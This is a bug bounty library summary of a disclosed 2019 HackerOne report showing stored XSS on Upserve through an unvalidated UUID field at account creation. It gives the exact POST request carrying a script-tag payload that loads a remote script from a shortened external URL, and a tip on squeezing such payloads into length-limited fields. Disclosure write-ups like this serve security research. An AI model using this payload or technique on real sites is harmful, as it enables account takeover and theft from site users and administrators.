# Ability to create own account UUID leads to stored XSS

User-controlled UUID field accepted a script tag payload, stored and reflected into admin-facing HTML, yielding stored XSS via a URL-shortened external script.

- Payout: $1,500
- Severity: high
- Program: Upserve
- Credited: cache-money
- Disclosed: 2019-06-10
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/249131
- Library page: https://bugbountylibrary.com/r/h1%3A249131
- Tags: domain:web impact:ato impact:integrity kind:bounty platform:hackerone sev:high tech:rest technique:recon vuln:xss

**Target:** app.upserve.com user account creation endpoint /c/user and UUID display in /b/ pages
**Root cause:** The uuid parameter on account creation was length-limited but not character-restricted, so arbitrary HTML/JS was stored and later emitted unescaped inside a YUI.namespace JSON/HTML context.
**Steps:**
1. Send `POST /c/user` with `uuid=</script><script src=//is.gd/z0i2sU>&email=[YOUR EMAIL]&brand_pretty_url=ace-wasabis-rock-n-roll-sushi`
2. Click the email confirmation link to activate the account
3. Visit `https://app.upserve.com/b/ace-wasabis-rock-n-roll-sushi?email_token=...`
4. Observe generated HTML: `YUI.namespace('Env.DATA').consumer = {"uuid":"</script><script src=//is.gd/z0i2sU>",...` — the injected script executes
**How found:** Noticed the UUID field had a length restriction but no character allowlist, hypothesized it would be rendered unescaped wherever UUIDs are displayed (especially admin panels), and crafted a payload sized to exactly fit the limit using a URL shortener, relying on the trailing script tag to close the injected tag.
**Exploitation:** Attacker registers an account with a crafted uuid containing a closing script tag plus an external script (URL-shortened to fit the length limit), confirms email, then any page rendering the UUID (including admin panels) executes the payload.
**Insight:** When a field is length-limited but not charset-validated, measure the exact limit and use a URL shortener to fit a full external-script payload; also check whether the surrounding template already supplies a closing tag so you can omit it.
